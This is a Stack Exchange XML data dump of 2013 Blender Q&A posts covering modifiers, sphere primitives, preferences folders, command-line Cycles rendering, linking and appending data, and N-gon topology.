  <row Id="69" PostTypeId="2" ParentId="67" CreationDate="2013-05-23T01:25:01.510" Score="19" Body="&lt;p&gt;Yes. Use the smooth modifier with a negative factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0BykZ.png&quot; alt=&quot;Smooth modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-05-30T14:04:05.940" LastActivityDate="2013-05-30T14:04:05.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostTypeId="5" CreationDate="2013-05-23T01:32:19.707" Score="0" Body="&lt;p&gt;Dynamic paint is a modifier and physics system that can turn objects into paint canvases and brushes, creating vertex colors, image sequences or displacement. This makes many effects possible like, for example footsteps in the snow, raindrops that make the ground wet, paint that sticks to walls, or objects that gradually freeze.Dynamic Paint can be activated from the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/index.html#physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;“Physics”&lt;/a&gt; tab of the “Properties” editor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Dynamic Paint&lt;/em&gt; at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/dynamic_paint/index.html#dynamic-paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-10-21T21:13:47.863" LastActivityDate="2020-10-21T21:13:47.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="71" PostTypeId="4" CreationDate="2013-05-23T01:32:19.707" Score="0" Body="Dynamic paint is a modifier and physics system introduced in Blender 2.6x that can turn objects into paint canvases and brushes, creating vertex colors, vertex weights, image sequences, waves, or displacement. Use this tag for all of your questions pertaining to the use of Dynamic Paint." OwnerUserId="12" LastEditorUserId="35559" LastEditDate="2020-10-21T20:32:02.470" LastActivityDate="2020-10-21T20:32:02.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="72" PostTypeId="1" AcceptedAnswerId="73" CreationDate="2013-05-23T01:33:15.750" Score="70" ViewCount="42410" Body="&lt;p&gt;When working with or adding meshes, I've seen UV Spheres and Icospheres being presented to me. What are the differences between them, when should either be used and is there anything I should take into consideration if I want to have them render cleanly? &lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="12" LastEditDate="2013-05-24T00:38:40.070" LastActivityDate="2021-04-11T08:23:20.047" Title="What is the difference between a UV Sphere and an Icosphere?" Tags="&lt;mesh&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostTypeId="2" ParentId="72" CreationDate="2013-05-23T01:33:15.750" Score="75" Body="&lt;p&gt;The major fundamental difference is how each sphere is modeled. The &lt;a href=&quot;https://docs.blender.org/manual/en/2.80/modeling/meshes/primitives.html#uv-sphere&quot; rel=&quot;noreferrer&quot;&gt;UV sphere&lt;/a&gt;, somewhat like latitude and longitude lines of the earth, uses rings and segments. Near the poles(both on the Z-axis with the default orientation) the vertical segments converge on the poles. This sphere is useful for projecting terrain onto planets and/or complex modeling as it is readily subdivided even after being created, and maps onto &lt;a href=&quot;https://en.wikipedia.org/wiki/Equirectangular_projection&quot; rel=&quot;noreferrer&quot;&gt;equirectangular projections&lt;/a&gt; (plate carrée) readily.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/2.80/modeling/meshes/primitives.html#icosphere&quot; rel=&quot;noreferrer&quot;&gt;icosphere&lt;/a&gt; uses a different approach. A polyhedron is made with triangles which are placed(at various subdivision levels) as an icosahedron (thus the name) and more finely-subdivided solids. All faces have the same area, which may be useful for certain types of UV mapping containing non-organic textures. An example that comes to mind is an isocahedral die or billiard balls where stretch must be minimized near the point where the number is printed onto the ball.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wc344.png&quot; alt=&quot;Comparison of spheres&quot; /&gt;&lt;br /&gt;&#xA;&lt;sub&gt;A conparison of UV and icospheres. UV spheres are on the left. Going downward, the subdivision levels are increased. 10 rings, 3 segments; 16/8, and 32/32 for UV spheres, and subdivision levels 1,2, and 3 for the icosphere. Default BI material is used, and light is directly behind camera.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/primitives.html#uv-sphere&quot; rel=&quot;noreferrer&quot;&gt;manual page&lt;/a&gt; and experimentation with UV mapping.&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="15924" LastEditDate="2020-10-12T19:20:28.877" LastActivityDate="2020-10-12T19:20:28.877" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="74" PostTypeId="1" CreationDate="2013-05-23T01:44:58.090" Score="6" ViewCount="1671" Body="&lt;p&gt;When I set a Mesh to shade as &quot;Smooth&quot; vs &quot;Flat&quot; on a high-poly Mesh Object (such as one with a subdivision modifier), it makes Blender much slower than normal, sometimes almost unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this occur?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="6204" LastEditDate="2015-12-14T00:21:32.277" LastActivityDate="2017-07-07T21:05:09.090" Title="Why is &quot;Smooth&quot; shading slower than &quot;Flat&quot; shading in the viewport?" Tags="&lt;3d-view&gt;&lt;opengl&gt;&lt;opencl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="1" AcceptedAnswerId="77" CreationDate="2013-05-23T01:51:20.497" Score="15" ViewCount="2245" Body="&lt;p&gt;Is there a way to simulate a fluid in the game engine? It doesn't have to be 100% realistic (but not a cycling 2D animation). It just needs to be recognizable as water. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optimally, there should be a way too make it not very computationally intensive, if it is by default. &lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="3078" LastEditDate="2015-12-14T21:09:50.707" LastActivityDate="2015-12-14T21:09:50.707" Title="How can I make a fluid simulation in game engine" Tags="&lt;fluid-simulation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostTypeId="2" ParentId="67" CreationDate="2013-05-23T01:52:38.337" Score="9" Body="&lt;p&gt;Unsmoothing with a negative modifier is sufficient for a roughening effect, but not to fully undo a smoothing operation. To test this, I rendered Suzanne and smoothed the mesh(factor 1.0), applied the modifier, and then unsmoothed with factor -1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3Rsf.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="14" LastEditDate="2013-05-24T05:10:11.983" LastActivityDate="2013-05-24T05:10:11.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="2" ParentId="75" CreationDate="2013-05-23T01:54:51.217" Score="11" Body="&lt;p&gt;No. You can't do fluid sim in BGE. Fluid simulation is a complicated process and won't run fast in real-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if it's built on a graphics card  system, such as CUDA or OpenCL, it might be fast enough. But Blender's fluid system isn't. You might want to check into faking it with particles.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-05-23T03:04:02.067" LastActivityDate="2013-05-23T03:04:02.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="1" AcceptedAnswerId="82" CreationDate="2013-05-23T01:55:29.143" Score="49" ViewCount="50662" Body="&lt;p&gt;I constantly stay up to date with each new release of Blender, but this means my preferences are wiped clean each time. How do I export/import these preferences to avoid loosing my carefully crafted set up each time?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2020-11-27T01:53:32.180" Title="How would I import/export Blender's preferences?" Tags="&lt;customization&gt;&lt;import&gt;&lt;export&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="1" AcceptedAnswerId="86" CreationDate="2013-05-23T01:58:10.713" Score="29" ViewCount="14938" Body="&lt;p&gt;It seems that Cycles is mainly built in the form of Python scripts (as far as I can tell). Is it still possible to use Cycles to render a &lt;code&gt;.blend&lt;/code&gt; file from the command line?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="12" LastEditDate="2013-06-03T17:50:57.750" LastActivityDate="2019-08-15T17:01:56.347" Title="Can Cycles renders be done from the command line?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostTypeId="1" AcceptedAnswerId="83" CreationDate="2013-05-23T02:03:31.543" Score="66" ViewCount="43439" Body="&lt;p&gt;I have created several designs for a particular project and they are related, but I don't want to have to keep recreating any similar elements, such as shared materials or textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the existing data in a new Blender file?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="12" LastEditDate="2013-05-25T14:56:26.763" LastActivityDate="2020-06-24T23:09:16.470" Title="How can I reuse existing materials, objects, etc from an existing .blend?" Tags="&lt;append&gt;&lt;blend-files&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="32" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostTypeId="2" ParentId="78" CreationDate="2013-05-23T02:04:45.770" Score="48" Body="&lt;p&gt;Depending which OS you're on, navigate to:&lt;/p&gt;&#xA;&lt;h2&gt;Linux&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;~/.config/blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUeLK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Mac&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;/Users/username/Library/Application Support/Blender/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Windows&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;%APPDATA%\Blender Foundation\Blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once there you should see folder(s) corresponding to the version(s) you currently have.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QtJ3X.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In my case here I have &lt;strong&gt;2.66&lt;/strong&gt; and &lt;strong&gt;2.67&lt;/strong&gt;, just open the previous folder (2.66) since I had saved my settings there earlier and copy the config folder to the new one (2.67). What you really want however is the startup.blend and userpref.blend inside.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZSgr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-11-25T16:13:58.910" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="83" PostTypeId="2" ParentId="81" CreationDate="2013-05-23T02:09:48.393" Score="52" Body="&lt;p&gt;You can use &amp;quot;File -&amp;gt; Link&amp;quot; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt;) or &amp;quot;File -&amp;gt; Append&amp;quot; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Each will open a File Browser Window, from which you can then choose the file that contains the existing data you want to re-use.&lt;/p&gt;&#xA;&lt;h2&gt;Linking:&lt;/h2&gt;&#xA;&lt;p&gt;Linking will simply create an instance of the existing data, such as a material or an object. This will mean that you must keep both files together, and if necessary update the path to the linked data. It is best to use relative paths for linked data.&lt;/p&gt;&#xA;&lt;p&gt;Linked objects (note: objects in this context includes meshes, curves, cameras and lamps) have a teal outline (in the default theme).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfEgT.png&quot; alt=&quot;A linked cube&quot; /&gt;&lt;br /&gt;&#xA;&lt;em&gt;A linked cube.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can edit linked data (such as objects, materials, etc), but you will need to edit the data in the original file.&lt;/p&gt;&#xA;&lt;p&gt;If you need to edit your linked data, there are a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?225258-how-to-edit-appended-linked-objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;number of options:&lt;/a&gt;*&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make it a proxy object. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&lt;br /&gt;&#xA;This allows you to edit the rotation, scale, and translation of the object.&lt;/li&gt;&#xA;&lt;li&gt;Make it local. &lt;kbd&gt;L&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Your linked object must be selected when using either option.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With materials, you have to click the &lt;img src=&quot;https://i.stack.imgur.com/QvTQN.png&quot; alt=&quot;link button thingy&quot; /&gt; button in material properties.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1fi9Z.png&quot; alt=&quot;Material panel&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;An example use case for linking is when you need to reuse an existing model in a game or animation, but don't need to modify it beyond the basics of rotation, scale or translation.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Appending:&lt;/h2&gt;&#xA;&lt;p&gt;This creates a full copy of the existing data, which you can modify without issue and include in the file you are editing. You do not need to keep both files together. You are also fully able to edit the appended data (such as an object, material, or scene) without affecting the original file from which you appended.&lt;/p&gt;&#xA;&lt;p&gt;Appended objects have an orange outline when first appended (&lt;em&gt;with the default theme&lt;/em&gt;), but once you deselect them, then select them again, they show as normal objects do.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9UEJT.png&quot; alt=&quot;An appended cube.&quot; /&gt;&lt;br /&gt;&#xA;&lt;em&gt;An appended cube.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Appending increases the size of your result blend file however, and uses more resources when editing, so it is not recommended unless you need to modify the appended data.&lt;/p&gt;&#xA;&lt;p&gt;An example use case of appending would be when you need to create a variant of an existing model. It can save on time and effort.&lt;/p&gt;&#xA;&lt;p&gt;For example, I created the Asiatic Black Falcon from the same original model as the Black Falcon by appending into a new file and making a few minor changes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yYkOb.png&quot; alt=&quot;BlackFalconLine&quot; /&gt;&#xA;&lt;em&gt;These two began as the same object.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Credit:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?225258-how-to-edit-appended-linked-objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?225258-how-to-edit-appended-linked-objects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Further reading:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/files/linked_libraries/index.html#linked-libraries&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/files/linked_libraries/index.html#linked-libraries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="72" LastEditorUserId="15924" LastEditDate="2020-06-24T23:09:16.470" LastActivityDate="2020-06-24T23:09:16.470" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="84" PostTypeId="1" AcceptedAnswerId="85" CreationDate="2013-05-23T02:27:57.593" Score="13" ViewCount="1494" Body="&lt;p&gt;Is it possible to download a PDF/HTML snapshot of the Blender Manual from the Wiki and integrate into Blender's help menu?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="3078" LastEditDate="2015-12-14T21:09:12.637" LastActivityDate="2015-12-15T08:41:37.423" Title="Is it possible to download the manual from the Wiki and integrate it into the help menu?" Tags="&lt;documentation&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostTypeId="2" ParentId="84" CreationDate="2013-05-23T02:35:12.420" Score="15" Body="&lt;p&gt;&lt;strong&gt;You cannot directly download the blender wiki&lt;/strong&gt;&amp;hellip; well not as normally as you are asking, there are ways (and even if you did get it, as far as &lt;em&gt;implementing or getting its content into Blender, that's another story&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reach the manual from &lt;em&gt;inside&lt;/em&gt; Blender however and &lt;em&gt;some documentation functionality is already implemented somewhat..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hover over a button and you should see a short description etc.. This can be useful for getting operator names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IjQmy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, right click on the component in Blender and &lt;strong&gt;you can choose to go to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online Manual&lt;/a&gt;&lt;/strong&gt; or the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.ops.render.html#bpy.ops.render.render&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online Python Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E8zWl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also just grab a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/contents.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;zip&lt;/a&gt; of the python reference for offline viewing directly from the front page.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-09T11:37:41.417" LastActivityDate="2013-07-09T11:37:41.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="2" ParentId="80" CreationDate="2013-05-23T02:52:12.753" Score="27" Body="&lt;p&gt;Yes you can, This will render a single frame &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background filename.blend --render-output //test_ --engine CYCLES --render-format PNG --use-extension 1 --render-frame 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output a file named &lt;code&gt;test_0005&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While experimenting, I more or less substituted &lt;code&gt;CYCLES&lt;/code&gt; with the parameters I found &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/command_line.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. You can check the link to see what they mean and or do.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="60744" LastEditDate="2018-08-20T13:38:09.113" LastActivityDate="2018-08-20T13:38:09.113" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="87" PostTypeId="1" AcceptedAnswerId="96" CreationDate="2013-05-23T02:52:28.913" Score="22" ViewCount="35749" Body="&lt;p&gt;I know Blender is pretty resource intensive on less mighty hardware, but supposing that I have the hardware to handle it, can I open two files in different Windows, or open different instances of Blender?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2020-09-08T07:05:50.460" Title="Is it possible to work on two or more files at the same time (or open multiple Blender instances?)" Tags="&lt;editing&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="2" ParentId="87" CreationDate="2013-05-23T03:06:17.010" Score="12" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;No&lt;/strong&gt;, you cannot. To have two separate .blend files open at the same time you will need two &lt;strong&gt;separate&lt;/strong&gt; instances of Blender.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to have two or more scenes open in &lt;strong&gt;one instance&lt;/strong&gt; however is to go to Scene in the Info bar and create a new Scene..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ts0Ks.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next move the cursor over the little grooves in the 3d view, hold &lt;kbd&gt;Shift&lt;/kbd&gt; and drag. It will tear open a new frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NchWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just reorder it accordingly and choose the other scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jjt7A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said up above, to have two separate files, the only other way is have two instances of Blender. The above is a workaround. After working in multiple scenes, you could append or link from the single .blend with the multiple scenes, a bit more efficient and less resource hungry IMO.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-12T15:46:39.157" LastActivityDate="2013-06-12T15:46:39.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostTypeId="1" AcceptedAnswerId="95" CreationDate="2013-05-23T03:15:16.923" Score="63" ViewCount="33314" Body="&lt;p&gt;Support for N-Gons (polygons consisting of more than 4 vertices) has been in Blender for a while now, but many of us still may not know when to use them, and how to do so effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what situations do N-Gons really come in handy? When should they be just plain left out? Do they have any place in finished models?&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="39746" LastEditDate="2017-07-20T00:03:48.173" LastActivityDate="2017-07-20T00:03:48.173" Title="When should N-Gons be used, and when shouldn't they?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="5" CreationDate="2013-05-23T03:15:35.713" Score="0" Body="&lt;p&gt;Documentation about the Blender internal render at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/index.html#blender-renderer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T03:56:49.287" LastActivityDate="2020-10-21T03:56:49.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="91" PostTypeId="4" CreationDate="2013-05-23T03:15:35.713" Score="0" Body="Please use this tag only for questions related to the render engine; don't use it for questions about Blender's internal code or Python API.  &#xD;&#xA;&#xD;&#xA;Blender Internal (also known as Blender Render, Blender Internal or BI) is a biased rendering engine built into Blender version 2.79 and below." OwnerUserId="14" LastEditorUserId="1245" LastEditDate="2020-12-25T02:34:32.867" LastActivityDate="2020-12-25T02:34:32.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="92" PostTypeId="5" CreationDate="2013-05-23T03:18:31.270" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T03:18:31.270" LastActivityDate="2013-05-23T03:18:31.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostTypeId="4" CreationDate="2013-05-23T03:18:31.270" Score="0" Body="Questions asking about wikis or related sites containing information about Blender." OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-06-25T22:50:16.270" LastActivityDate="2013-06-25T22:50:16.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="2" ParentId="89" CreationDate="2013-05-23T03:26:09.413" Score="12" Body="&lt;p&gt;N-gons are useful and detrimental for various things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you're using Blender, they are &lt;em&gt;usually&lt;/em&gt; fine.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as you always save as a .blend, n-gons are fine, and I've never had issues within Blender from them without having other serious issues with my models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, n-gons have their advantages and disadvantages; you have to consider all the things that go on with vertices and faces, so if your vertices are weird relative to your ngons you'll see bad stuff happen (for reference, n-gons in the cap on a cylinder are usually fine, but when you start having whole sides of something be a single n-gon you'll start seeing issues that could easily be solved by slicing the n-gon down into smaller polygons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For export, n-gons can be bad.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not everything supports n-gons, and some formats don't like them. Typically, the exporter will automatically convert them, but this isn't always the case. In addition, exporters may not always be aware of manifold issues when they're exporting n-gons, which can lead to issues for 3d printing but even for digital use.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-05-23T03:26:09.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostTypeId="2" ParentId="89" CreationDate="2013-05-23T03:28:46.060" Score="55" Body="&lt;p&gt;Honestly in my opinion, NGons should never be present in a final model. Every artist will have slightly different opinions on this but here is my take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When NGons are okay&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On completely flat surfaces.&lt;/li&gt;&#xA;&lt;li&gt;Hidden areas of models that will never be seen or used for any reason (but this still sloppy and not desirable)&lt;/li&gt;&#xA;&lt;li&gt;As a temporary holding surface that will later be replaced with clean quads.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When NGons are not okay&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On any model that will be exported to another artist or engine&lt;/li&gt;&#xA;&lt;li&gt;On a model that will deform through animation&lt;/li&gt;&#xA;&lt;li&gt;On a model with SubD (unless that area is completely flat, and surrounded by a quad-loop)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's many different reasons for each of the above, but here's a few:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;NGons should not be used on deforming models as you want to have absolute control over how the surface is generated and how it appears at render time. &lt;/li&gt;&#xA;&lt;li&gt;NGons should never be used on a model that is being exported as you don't necessarily know if the importer on the other side will support NGons or if the next artist will treat them as you intended.&lt;/li&gt;&#xA;&lt;li&gt;NGons should never be used on real-time models as you won't know how they'll be triagulated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In general, I like to use NGons as a temporary topology block. But I never keep them in my final models. &lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-10-08T01:42:40.433" LastActivityDate="2013-10-08T01:42:40.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="2" ParentId="87" CreationDate="2013-05-23T04:01:55.947" Score="10" Body="&lt;p&gt;No, multiple blend file editing isn't supported, and isn't likely to be added any time soon. Its a limitation in blenders internal design that makes this hard to add.&lt;/p&gt;&#xA;&lt;p&gt;You can run multiple instances of Blender, at once.&lt;/p&gt;&#xA;&lt;p&gt;It seems macOS has functionality which prevents you loading multiple instances of the same application. But you can workaround this if you really want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://mac-how-to.wonderhowto.com/how-to/run-multiple-instances-same-app-mac-os-x-0140144/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mac-how-to.wonderhowto.com/how-to/run-multiple-instances-same-app-mac-os-x-0140144/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-09-08T07:05:50.460" LastActivityDate="2020-09-08T07:05:50.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
